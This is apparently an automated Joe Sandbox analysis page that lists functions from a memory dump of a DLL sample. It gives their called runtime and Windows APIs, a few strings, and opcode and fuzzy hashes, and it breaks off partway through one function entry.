Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentstd::_$_memmove
String ID: invalid string position$string too long
API String ID: 1615890066-4289949731
Opcode ID: 8b4a6ccaf35318c7727e937a0c6d14684d107e286632a2be97791bcaf32471ca
Instruction ID: 42d839308a534819f9bf98556e381d490f917c7cf452c925a98f97122ea4a7ee
Opcode Fuzzy Hash: 8b4a6ccaf35318c7727e937a0c6d14684d107e286632a2be97791bcaf32471ca
Instruction Fuzzy Hash: 8F31E832304610BBF7209E5CE880B5EF7EDEBA9664F21492FE151DB281D772DC4087A5

Function 6D06C23B Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 6D06C24E

Part of subcall function 6D06C1A9: ___BuildCatchObjectHelper.LIBCMT ref: 6D06C1DF

_UnwindNestedFrames.LIBCMT ref: 6D06C265
___FrameUnwindToState.LIBCMT ref: 6D06C273

Strings

csm, xrefs: 6D06C23D
csm, xrefs: 6D06C24A, 6D06C25F, 6D06C272, 6D06C290, 6D06C2A0

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: BuildCatchObjectUnwind$FrameFramesHelperNestedState
String ID: csm$csm
API String ID: 2163707966-3733052814
Opcode ID: 2a3f766c9b4dac2ca2754d74b5085f77c001a70fed88627ce95d418e20d78339
Instruction ID: 5acc5fc83d681d310dd3864bae825ec56bf0369090190b9f25f6de6adf286279
Opcode Fuzzy Hash: 2a3f766c9b4dac2ca2754d74b5085f77c001a70fed88627ce95d418e20d78339
Instruction Fuzzy Hash: 7B01E47140518ABFEF125F91CC45FAA7F6AFF08354F158010BE1816120D73699A2DBB9

Function 6D042300 Relevance: 7.8, APIs: 5, Instructions: 257COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 6D0423F3
_memmove.LIBCMT ref: 6D042460

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 0f88503f5cb31e56527d0ed4831c5b6d8bce2c94210bd382907567a80d034669
Instruction ID: b256a01833fd54b3a391945c4ad1db854cbfd353d3d64f5b2165506b9dd93a67
Opcode Fuzzy Hash: 0f88503f5cb31e56527d0ed4831c5b6d8bce2c94210bd382907567a80d034669
Instruction Fuzzy Hash: 73917B713087029FE724DF68D890F2AB7E9FBC9614F108A2DE495C7340E734E9058BA2

Function 6D023C10 Relevance: 7.7, APIs: 5, Instructions: 186COMMON

Download Yara Rule

APIs

SafeArrayGetElement.OLEAUT32(?,?,4E8A916F), ref: 6D023C49
VariantInit.OLEAUT32(?), ref: 6D023C81
VariantClear.OLEAUT32(?), ref: 6D023D26
VariantClear.OLEAUT32(?), ref: 6D023D30
VariantClear.OLEAUT32(?), ref: 6D023D89

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Variant$Clear$ArrayElementInitSafe
String ID:
API String ID: 4110538090-0
Opcode ID: 8f39d0c074076b9351719ff0308045fbf7b3a5123859a695a34289f9dd1054d9
Instruction ID: 198d4cad990a09727a50708cf66e0228b81476d2dd350e6c3df929349e729fa2
Opcode Fuzzy Hash: 8f39d0c074076b9351719ff0308045fbf7b3a5123859a695a34289f9dd1054d9
Instruction Fuzzy Hash: E4617E72A05249DFDB00DFA8C880AAEB7B9FF4D310F2585ADE615AB350D731AD45CB90

Function 6D031D50 Relevance: 7.6, APIs: 5, Instructions: 144timesleepCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM(4E8A916F), ref: 6D031D91
timeGetTime.WINMM(4E8A916F), ref: 6D031D9F
timeGetTime.WINMM ref: 6D031DBB
timeGetTime.WINMM ref: 6D031DC9
Sleep.KERNEL32(00000032), ref: 6D031DDC

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Timetime$Sleep
String ID:
API String ID: 4176159691-0
Opcode ID: 0c51ad29f265baae82d43825efc233799e5c26280ca5371d495f26789fdd1340
Instruction ID: 1095d38de79de3575873195553c39232ed8df8dec7372cae18a31740fc3f1d10
Opcode Fuzzy Hash: 0c51ad29f265baae82d43825efc233799e5c26280ca5371d495f26789fdd1340
Instruction Fuzzy Hash: F851C0B5D082569FFB01CFE8D8857AD7BF8BB0A340F16446ED508DB241D77199408BA7

Function 6D016D40 Relevance: 7.6, APIs: 5, Instructions: 101COMMON

Download Yara Rule

APIs

Part of subcall function 6D069BB5: _malloc.LIBCMT ref: 6D069BCF

_rand.LIBCMT ref: 6D016DEA

Part of subcall function 6D069E0C: __getptd.LIBCMT ref: 6D069E0C

std::exception::exception.LIBCMT ref: 6D016E17
__CxxThrowException@8.LIBCMT ref: 6D016E2C
std::exception::exception.LIBCMT ref: 6D016E3B
__CxxThrowException@8.LIBCMT ref: 6D016E50

Part of subcall function 6D069BB5: std::exception::exception.LIBCMT ref: 6D069C04
Part of subcall function 6D069BB5: std::exception::exception.LIBCMT ref: 6D069C1E
Part of subcall function 6D069BB5: __CxxThrowException@8.LIBCMT ref: 6D069C2F

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: std::exception::exception$Exception@8Throw$__getptd_malloc_rand
String ID:
API String ID: 2791304714-0
Opcode ID: 9e956316e5f86e6bfca73d564ed021de2b97cc488ea13cd2a8a2559d914a9ae7
Instruction ID: f32870378d6ed5fa0560691369d81949472f2aee1c7023fda44e27e793f2276c
Opcode Fuzzy Hash: 9e956316e5f86e6bfca73d564ed021de2b97cc488ea13cd2a8a2559d914a9ae7
Instruction Fuzzy Hash: 993124B19047449FDB50CFA8D880B9AFBF4FB08314F44896ED85A97B42E775E604CBA1

Function 6D017750 Relevance: 7.6, APIs: 5, Instructions: 79COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00000000,?,?), ref: 6D017761
LeaveCriticalSection.KERNEL32(00000000,?), ref: 6D017782
EnterCriticalSection.KERNEL32(00000018), ref: 6D017796
LeaveCriticalSection.KERNEL32(00000018), ref: 6D0177CE
QueueUserWorkItem.KERNEL32(6D031D50,00000000,00000010), ref: 6D01780C

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ItemQueueUserWork
String ID:
API String ID: 584243675-0
Opcode ID: c11a60418627603e1fdb1d8dcb90d2ceb926c666799987852f83c0286e703cbf
Instruction ID: 34dfcd38b01547b04464f5689b63f8f2e7382bc1abd5dce418890623d38660b8
Opcode Fuzzy Hash: c11a60418627603e1fdb1d8dcb90d2ceb926c666799987852f83c0286e703cbf
Instruction Fuzzy Hash: 5521BF31948209EFEB00CFA4D844BAFBBF9FB86301F018559E55687640D770E648CBA1

Function 6D005AAC Relevance: 7.6, APIs: 5, Instructions: 59COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 6D005ACB

Part of subcall function 6D069533: std::exception::_Copy_str.LIBCMT ref: 6D06954E

__CxxThrowException@8.LIBCMT ref: 6D005ABC

Part of subcall function 6D06AC75: RaiseException.KERNEL32(?,?,6D069C34,4E8A916F,?,?,?,?,6D069C34,4E8A916F,6D099C90,6D0AB974,4E8A916F), ref: 6D06ACB7

__CxxThrowException@8.LIBCMT ref: 6D005AE0

Part of subcall function 6D069BB5: _malloc.LIBCMT ref: 6D069BCF

std::exception::exception.LIBCMT ref: 6D005B18
__CxxThrowException@8.LIBCMT ref: 6D005B2D

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Exception@8Throw$std::exception::exception$Copy_strExceptionRaise_mallocstd::exception::_
String ID:
API String ID: 921928366-0
Opcode ID: 26e2583f84d2ba944bbd308e2a4849658c26ec126957a0d29e2fbc576dcb24d5
Instruction ID: bd73d3db22e49393b13aefc36613001145af7f369fe5c723c19359801459023a
Opcode Fuzzy Hash: 26e2583f84d2ba944bbd308e2a4849658c26ec126957a0d29e2fbc576dcb24d5
Instruction Fuzzy Hash: A60121B58142087FFB04DFE4E844EEE77B8AF14340F418159E909A7541FB34D6048BB5

Function 6D06F03B Relevance: 7.5, APIs: 5, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 6D06F047

Part of subcall function 6D06EAE6: __getptd_noexit.LIBCMT ref: 6D06EAE9
Part of subcall function 6D06EAE6: __amsg_exit.LIBCMT ref: 6D06EAF6

__amsg_exit.LIBCMT ref: 6D06F067
__lock.LIBCMT ref: 6D06F077
InterlockedDecrement.KERNEL32(?), ref: 6D06F094
InterlockedIncrement.KERNEL32(05D01658), ref: 6D06F0BF

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: be859ae459cd787b4cedfd702b47471c58a6b2267544102416001946ab48fb9d
Instruction ID: 017fda0e57a1458e9cb6346cf6448331b5af2c0f8cc9105258ea0e78e937af2b
Opcode Fuzzy Hash: be859ae459cd787b4cedfd702b47471c58a6b2267544102416001946ab48fb9d
Instruction Fuzzy Hash: 1501F535D05BA2ABFF119FA8C40076E7BB8BF06714F160005E920A7281CB34A941CFF2

Function 6D06F7BC Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 6D06F7C8

Part of subcall function 6D06EAE6: __getptd_noexit.LIBCMT ref: 6D06EAE9
Part of subcall function 6D06EAE6: __amsg_exit.LIBCMT ref: 6D06EAF6

__getptd.LIBCMT ref: 6D06F7DF
__amsg_exit.LIBCMT ref: 6D06F7ED
__lock.LIBCMT ref: 6D06F7FD
__updatetlocinfoEx_nolock.LIBCMT ref: 6D06F811

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 40baef4d89e96e889fe5ff5856f37747d77e907a01567e03ce9990fcab51480e
Instruction ID: 12c965f3500901e16345dbc484021ce6c3e707cb5fc827363e66f5dd04e8fca8
Opcode Fuzzy Hash: 40baef4d89e96e889fe5ff5856f37747d77e907a01567e03ce9990fcab51480e
Instruction Fuzzy Hash: D9F0E932D4D7919FF731AB789801B5D3BE4BF4072CF224149E610AB2C1DF64A540DAB6

Function 6D04E6E0 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 331COMMON

Download Yara Rule

APIs

_memcpy_s.LIBCMT ref: 6D04E76F
_memcpy_s.LIBCMT ref: 6D04E78B

Strings

, xrefs: 6D04E85A

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: _memcpy_s
String ID:
API String ID: 2001391462-3916222277
Opcode ID: a0b6aa869c7724c6a8a007c04773d2c8c407495aa855c44e3e712bcc88cd3c88
Instruction ID: 4601283fa214291fbf8138787b4c9c4813603f54315056ab8855d9a5194213c2
Opcode Fuzzy Hash: a0b6aa869c7724c6a8a007c04773d2c8c407495aa855c44e3e712bcc88cd3c88
Instruction Fuzzy Hash: 7AC147756083028FE754CF28C890A6AB7E6FF89314F048A3DE595C7250E771EA49CB42

Function 6D068B60 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 252COMMON

Download Yara Rule

APIs

_memcpy_s.LIBCMT ref: 6D068C40
_memset.LIBCMT ref: 6D068C56
_memmove.LIBCMT ref: 6D068DA8

Strings

EncodingParameters, xrefs: 6D068CD6

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: _memcpy_s_memmove_memset
String ID: EncodingParameters
API String ID: 4034675494-55378216
Opcode ID: 4b57199c6f6c816e00f6faf075a23363c41bb14e27954abbddcd5b381edee792
Instruction ID: bbc1cecb487474a7614382a5d5763b4b5295db3c6c3eeb7c7e0be75839de07ed
Opcode Fuzzy Hash: 4b57199c6f6c816e00f6faf075a23363c41bb14e27954abbddcd5b381edee792
Instruction Fuzzy Hash: 06916A746083819FE700CF28C880B6BBBE5AFDA714F144A5DF99887391D671E945CBA2

Function 6D041200 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 244COMMON

Download Yara Rule

APIs

Part of subcall function 6D05D820: _memmove.LIBCMT ref: 6D05D930

Part of subcall function 6D004010: std::_Xinvalid_argument.LIBCPMT ref: 6D00402A

__CxxThrowException@8.LIBCMT ref: 6D0413D4

Part of subcall function 6D06AC75: RaiseException.KERNEL32(?,?,6D069C34,4E8A916F,?,?,?,?,6D069C34,4E8A916F,6D099C90,6D0AB974,4E8A916F), ref: 6D06ACB7

Part of subcall function 6D038D80: _malloc.LIBCMT ref: 6D038D8A
Part of subcall function 6D038D80: _malloc.LIBCMT ref: 6D038DAF

Strings

for this key, xrefs: 6D041348
doesn't match the required length of , xrefs: 6D041316
: ciphertext length of , xrefs: 6D0412E4

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: _malloc$ExceptionException@8RaiseThrowXinvalid_argument_memmovestd::_
String ID: doesn't match the required length of $ for this key$: ciphertext length of
API String ID: 1025790555-2559040249
Opcode ID: 0e80a22668a13a4389766e0001764911613ea2dbf032fba65274194152976403
Instruction ID: b88997801ed7dbfc38c5329d42e01610d1dd274d7dfdf58f2f5616187d00bed0
Opcode Fuzzy Hash: 0e80a22668a13a4389766e0001764911613ea2dbf032fba65274194152976403
Instruction Fuzzy Hash: 4BA14D7550C380AFE324CB69D880F9BB7E9AFD9304F458A1DE59D83251DB70A905CBA3

Function 6D06B47D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 6D06B50D

Part of subcall function 6D071AA0: __87except.LIBCMT ref: 6D071ADB

Strings

pow, xrefs: 6D06B4E5, 6D06B502

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ErrorHandling__87except__start
String ID: pow
API String ID: 2905807303-2276729525
Opcode ID: 8a92beed18226ea9d5ad450ae936a4afd600d770d3fbfb660803b8b70222462a
Instruction ID: 3374429c10a42f5892e90e8da3cdbd1d0c485bc6f7603434a813450da78d0671
Opcode Fuzzy Hash: 8a92beed18226ea9d5ad450ae936a4afd600d770d3fbfb660803b8b70222462a
Instruction Fuzzy Hash: 6F518DA1E1C24396FB11AB18C9603BE7BF4EB42711F50DD59F5E44A1D4FF3484848A6B

Function 6D018560 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

__cftoe.LIBCMT ref: 6D0188ED

Part of subcall function 6D06A116: __mbstowcs_s_l.LIBCMT ref: 6D06A12C

__cftoe.LIBCMT ref: 6D018911

Strings

zX, xrefs: 6D01865E
P, xrefs: 6D018841

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
